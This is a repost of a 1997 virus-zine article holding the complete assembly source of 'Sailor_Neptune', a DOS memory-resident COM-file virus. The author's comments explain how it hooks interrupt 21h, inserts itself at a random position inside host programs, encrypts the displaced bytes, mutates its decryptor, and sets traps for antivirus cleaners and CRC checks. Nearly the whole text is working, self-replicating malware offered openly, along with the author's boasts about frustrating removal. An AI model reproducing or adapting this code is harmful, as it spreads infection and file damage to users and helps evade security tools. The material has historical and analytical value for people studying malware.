Copy Link
Add to Bookmark
Report

xine-2.028

eZine's profile picture
Published in 
Xine
 · 31 Jul 2023

 
/-----------------------------\
| Xine - issue #2 - Phile 028 |
\-----------------------------/


;
; Virus Name : Sailor_Neptune
; Virus Author : b0z0
; Origin : Padania, March/April 1997
; Compiling : Use TASM 3.0
; tasm /m5 neptune.asm
; tlink /t neptune
; Tech Desc : Sailor_Neptune is a quite simple TSR COM infector,
; that will place itself not at the end of the file but
; in a random position in the middle of the file.
; It is just a little bit polymorphic. The sequence of
; the operations in the decryptor is always the same,
; but registers and operations are changed. The key
; of the operation (add,sub,xor) is changed with another
; math operation. This little polymorphism isn't aimed
; to make the virus unscannable (since it is very simple
; and scannable :) ), but is rather done to make the
; disinfection procedure harder. Of course the piece of
; the file that has been overwritten by the virus is saved
; at the end of the file. Of course it is encrypted.
; There are some AV-tricks in the virus (TBClean for
; example will just cut the .COM at the virus position
; and leaving a JMP AX as the first opcodes in the
; 'cleaned' file ;) ) to make scanning and removing
; even harder. To fool TBScan (always) and AVP
; (just sometimes, quite never) the COMs will have the entry
; point simillar to a PKlited file. So a 'packed program'
; warning may appear :)
; Of course this 'midplacing' method makes also CRC to
; miserably fail.
; Since the virus is placed somewhere in the middle of
; the file it isn't possible to do the simple lenght
; addition (as Yosha suggest) to the CRC after the
; coms that have the enuns selfcheck, because it
; may be just where the virus has been placed. So
; instead of risking this the virus will simply skip
; those coms.
; There isn't too much to say about this virus. Since
; it infects just COMs i don't think it will have good
; possibilityes to spread around. On the other side i
; think (well, i hope) that removing this virus isn't
; really simple, so AV-ers will have to work a little :)
; Well, that's all for now ;)
; I had some more projects for this virus (to make it
; a lot better) but due to time restrictions this virus
; hasn't been finished as i have initially hoped.
; But that's life ;))
;

neptune segment
assume cs:neptune, ds:neptune; es:neptune

org 100h

start:
mov di,offset enc_start ; mov reg_pointer,offset
counter:
mov cx,(virus_nopoly/2) ; mov reg_counter,size
operator:
mov dx,00h ; mov reg_operand,init_value
decrypt_loop:
xor word ptr ds:[di],dx ; oper [reg_pointer],reg_oper
modifyer:
add dx,00h ; oper reg_oper,oper_value
inc_memory:
inc di ; inc reg_pointer
inc di ; inc reg_pointer
decrement:
dec cx ; dec reg_counter
jnz decrypt_loop
enc_start:
pop bp ; just to be precise correct
; the stack from the 'PK' :)
call delta ; delta offset
delta:
pop bp
sub bp,offset delta

mov ax,3026h ; install check
int 21h
cmp ax,2630h
jne not_installed
jmp restore_com
not_installed:

mov ax,es ; psp
dec ax
mov ds,ax ; mcb

xor di,di

check_mcb:
cmp byte ptr ds:[di],'Z' ; last?
je last_block
add ax,word ptr ds:[di+03h]
inc ax
mov ds,ax ; on next
jmp check_mcb
last_block:
sub word ptr ds:[di+03h],para_virus
sub word ptr ds:[di+12h],para_virus
mov byte ptr ds:[di],'M'

add ax,word ptr ds:[di+03h]
inc ax ; virus mcb segment

mov ds,ax

mov word ptr ds:[di+03h],para_virus-1
mov word ptr ds:[di+01h],08h
mov byte ptr ds:[di],'Z'

inc ax ; virus segment

push cs
pop ds

sub ax,0fh ; so CS:IP will be correct
; considering that the adresses
; are calculated from start
; as CS:100h
mov cx,virus_words
mov es,ax
mov di,100h
lea si,[bp+start] ; copy virus
rep movsw

xor dx,dx
mov ds,dx

mov cx,offset virus_int21

cli
xchg cx,word ptr ds:[084h] ; install int21h
xchg ax,word ptr ds:[086h]
mov word ptr es:[old_21_off],cx
mov word ptr es:[old_21_seg],ax
sti

push cs
pop ds

push cs
pop es

restore_com:
mov di,100h
mov word ptr ds:[di],0e0ffh ; jmp ax
mov ax,bp
add ax,offset return_antitbclean ; calculate return jmp
jmp di ; just to fuck tbclean
; or simillar progs

return_antitbclean:
push di
lea si,[offset first_old + bp] ; restore first 5 bytes
movsw
movsb
movsw
pop bx

mov si,word ptr ds:[orig_pos+bp] ; original bytes pos
add si,bx

mov di,si
add di,(virus_size-1)
mov al,byte ptr ds:[dec_value+bp] ; position dec value
mov byte ptr ds:[di+1],al

std
call enc_dec_orig ; decrypt original
cld

mov di,word ptr ds:[virus_pos+bp] ; virus position
add di,bx
mov cx,virus_size

sub bx,02h ; jump to cs:0FEh
mov word ptr ds:[bx],0a4f3h ; REP MOVSB

push bx

xor bx,bx
xor ax,ax
xor dx,dx
xor bp,bp

ret ; go there!

first_old db 0cdh,020h,00h,00h,00h
virus_pos dw (virus_end_mem) ; where the virus resides
orig_pos dw (virus_end_mem) ; where the original body
; is placed (= filelenght)

virus_int21:
cmp ax,3026h ; residency check
jne no_rescheck
xchg ah,al
iret
no_rescheck:
xor ax,4b00h ; execute
jz execute

chain_old_21:
xor ax,4b00h
db 0eah
old_21_off dw 00h
old_21_seg dw 00h

virus_name db 'Sailor_Neptune',0

execute:
pushf
push ds
push es

push ax
push cx
push dx
push bx
push di
push si
push bp

push ds
push dx

push cs
pop ds
mov ax,3524h ; save int 24h handler
int 21h
mov word ptr ds:[old_24off],bx
mov word ptr ds:[old_24seg],es

mov dx,offset int_24handler
mov ax,2524h
int 21h ; set our int 24h

pop dx
pop ds

mov di,dx

mov ax,4300h ; get attributes
int 21h

push cx ; push attribs
push dx ; push filename seg:off
push ds

xor cx,cx ; delete attributes
call attrib_set
jnc ok_writing

add sp,06h ; adjust stack and exit
first_exit:
jmp error_opening ; if error occoured

ok_writing:
mov ax,3D02h ; open for RW
int 21h
jnc ok_open
jmp error_opening_att
ok_open:
push ax
pop bx ; BX handle

push cs
pop ds

mov ax,5700h ; store date and time
int 21h
mov word ptr ds:[filedate],dx
mov word ptr ds:[filetime],cx

mov ah,3fh ; read from file
mov cx,05h
mov dx,offset first_old
int 21h

cmp byte ptr ds:[first_old],'M' ; MZ ?
je exit_buffer_err
cmp byte ptr ds:[first_old],'Z' ; ZM ?
je exit_buffer_err
cmp word ptr ds:[first_old],'KP' ; Pklited? :))
jne ok_buffer
cmp byte ptr ds:[first_old+2],0e9h ; jump after PK?
jne ok_buffer
exit_buffer_err:
jmp exit_nofile

ok_buffer:
stc
call go_body_pos ; seek to end

mov word ptr ds:[orig_pos],ax

; check file lenght

cmp ax,(0fadeh - virus_size - 32) ; enough space?
jae bad_lenght

cmp ax,2000d ; not too short
ja ok_file
bad_lenght:
jmp exit_nofile
ok_file:

mov cx,ax ; cx=file lenght
sub cx,(virus_size)

random_place:
in ax,40h ; get random
mov dx,ax
in ax,40h
xor ax,dx

cmp ax,cx ; from 05 to Fsize-vsize
jae random_place

cmp ax,05h
jbe random_place

push ax

mov word ptr ds:[virus_pos],ax

call go_body_pos ; go to random position in file

mov ah,3fh ; read what will be overwritten
mov dx,offset file_buffer
mov cx,virus_size
int 21h

mov ax,word ptr ds:[orig_pos]
sub ax,04h
call go_body_pos ; go to the end-5

mov ah,3fh ; read last 5 bytes
mov dx,offset last_four
mov cx,04h
int 21h

pop ax
cmp word ptr ds:[last_four],'SN' ; special coms?
je exit_nofile
push ax

cld
mov di,offset file_buffer
in al,40h
mov byte ptr ds:[dec_value],al
mov byte ptr ds:[virus_end_mem-1],al
push cs
pop es
call enc_dec_orig ; encrypt original bytes

mov dx,offset file_buffer
mov cx,virus_size
call write_oper ; write original bytes

in al,40h
xor ah,ah
add dx,ax ; add random offset
and al,011111b ; write some rnd bytes
mov cx,ax
write_check:
call write_oper

pop ax
push ax

call go_body_pos ; go to the sel. rnd pos

call encrypt_it

mov dx,100h
mov cx,(offset enc_start - offset start)
call write_oper

mov dx,offset enc_start
mov cx,virus_nopoly
call encryptor
call write_oper ; write virus body in file

xor ax,ax
call go_body_pos ; go to start

pop ax ; ax = pos of virus body

sub ax,05h ; - jump - 'PK'

mov di,offset file_buffer
mov word ptr ds:[di],'KP'
mov byte ptr ds:[di+2],0e9h ; code the jump
mov word ptr ds:[di+3],ax

mov dx,di
mov cx,05h
call write_oper ; write the jump

mov dx,word ptr ds:[filedate]
mov cx,word ptr ds:[filetime]
mov ax,5701h ; restore date and time
int 21h

exit_nofile:
mov ah,3eh ; close file
int 21h

error_opening_att:
pop ds
pop dx
pop cx
call attrib_set

error_opening:
mov dx,word ptr ds:[old_24off]
mov ds,word ptr cs:[old_24seg]
mov ax,2524h
int 21h ; old int 24h handler

pop bp
pop si
pop di
pop bx
pop dx
pop cx
pop ax

pop es
pop ds
popf

jmp chain_old_21

author db '-b0z0/iKx-'

; As for encryption of the original piece of code of the COM...
; Instead of using a more classic xor for each byte with a fixed value,
; the routine is somehow recursive. Infact when we are encrypting the
; key of the first byte is the second byte, the key for the second byte
; is the third byte and so on till the end, where the key for the last
; byte is the random value. So for the decryption the algorithm will
; be inverse, starting from the end and using the random value it will
; decrypt from the end to the start 'generating' in the same time the
; needed decryption keys...
; Maybe AVrs will have to spend some more bytes to restore this data
; comparing the restoration of the other too classic method ;))

enc_dec_orig:
mov cx,(virus_size)
data_encrypt:
mov al,byte ptr ds:[di] ; will be enc
mov dl,byte ptr ds:[di+1] ; key
xor al,dl
stosb
loop data_encrypt
ret

dec_value db 00h

encrypt_it:
call do_register
cmp al,03h ; is BX
je ok_pointer
cmp al,05h ; only SI or DI
jbe encrypt_it
ok_pointer:
mov cl,al
push ax
add al,040h ; inc
mov ah,al
mov word ptr ds:[inc_memory],ax
pop ax
add al,0b8h
mov byte ptr ds:[start],al ; mov pointer
mov ax,word ptr ds:[virus_pos]
add ax,offset enc_start
mov word ptr ds:[start+1],ax ; pointer value
mov al,04h
cmp cl,06h
je no_change
inc al ; decryptor byte
cmp cl,07h ; pointer dependant
je no_change
inc al
inc al
no_change:
push ax
change_register:

call do_register
cmp al,cl
je change_register
mov ch,al
push ax
mov dl,0c0h ; add base
mody_oper:
call do_register
cmp al,02h
ja mody_oper
or al,al
jz ok_store
add dl,28h ; +28h = sub
cmp al,01h
je ok_store
add dl,08h ; +8h = xor
ok_store:
push dx
add dl,ch
mov byte ptr ds:[modifyer+1],dl ; change operand
pop dx ; and operation
inc dl
inc dl
mov byte ptr ds:[opera+1],dl ; for encryption
in al,40h
mov byte ptr ds:[modifyer+2],al
mov byte ptr ds:[opera+2],al
pop ax
add al,0b8h
mov byte ptr ds:[operator],al ; mov operand,
in ax,40h
mov word ptr ds:[operator+1],ax
mov word ptr ds:[encryption+1],ax
change_counter:
call do_register
cmp al,cl
je change_counter
cmp al,ch
je change_counter
push ax
add al,048h
mov byte ptr ds:[decrement],al ; dec counter
pop ax
add al,0b8h
mov byte ptr ds:[counter],al ; mov counter,size
pop ax
dec_crea:
cmp ch,00h
je finished_change
add al,08h
dec ch
jmp dec_crea
finished_change:
mov byte ptr ds:[decrypt_loop+1],al ; oper [mem],operand

; main operation
main_oper:
call do_register
cmp al,02h ; xor, sub or add
ja main_oper
mov cl,al ; al = 01h = add
mov al,01h
cmp cl,00h
je ok_do_add
add al,28h ; al = 29h = sub
cmp cl,01h
je ok_do_add
add al,08h ; al = 31h = xor

ok_do_add:
mov byte ptr ds:[decrypt_loop],al ; store main oper
mov al,31h ; generate the adeguate encryption
cmp cl,02h
je ok_reverse ; for xor use xor
sub al,08h
cmp cl,00h ; for add use sub
je ok_reverse
sub al,028h ; for sub use add ;)
ok_reverse:
mov byte ptr ds:[enc_loop],al
ret

do_register:
in al,40h
and al,0111b
cmp al,04h
je do_register ; no SP
ret

encryptor:
; dx = offset
; cx = bytes size
push cs
pop es

push cx
mov di,offset file_buffer
push di
mov si,dx ; source
push di
shr cx,1 ; to words
push cx
rep movsw ; copy body
pop cx
pop si
encryption:
mov dx,0000h ; will be changed by poly
enc_loop:
xor word ptr ds:[si],dx
opera:
add dx,00h ; change operator
inc si ; next word
inc si
loop enc_loop
pop dx
pop cx
ret

write_oper:
mov ah,40h ; write to file
int 21h
ret

go_body_pos: ; if C set then seek to end
mov dx,ax ; if NC go to 0:DX from start
mov ax,4200h
jnc no_seek_end
inc al
inc al
cwd
no_seek_end:
xor cx,cx
int 21h
ret

attrib_set:
mov ax,4301h ; set attributes
int 21h
ret

int_24handler:
xor al,al
iret

virus_end:

; EQUs ---
para_virus = (offset virus_end_mem - offset start + 0fh)/10h + 2
virus_words = (offset virus_end_mem - offset start + 1)/2
virus_size = (offset virus_end - offset start + 1)
virus_nopoly = (offset virus_end - offset enc_start + 1)
;

old_24off dw 00h ; int 24h offset
old_24seg dw 00h ; int 24h segment

filedate dw 00h ; file date
filetime dw 00h ; file time

last_four db 04h dup (?) ; last five bytes

file_buffer db (virus_size+1) dup (?)
virus_end_mem:

neptune ends
end start

← previous
next →
loading
sending ...
New to Neperos ? Sign Up for free
download Neperos App from Google Play
install Neperos as PWA

Let's discover also

Recent Articles

Recent Comments

Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT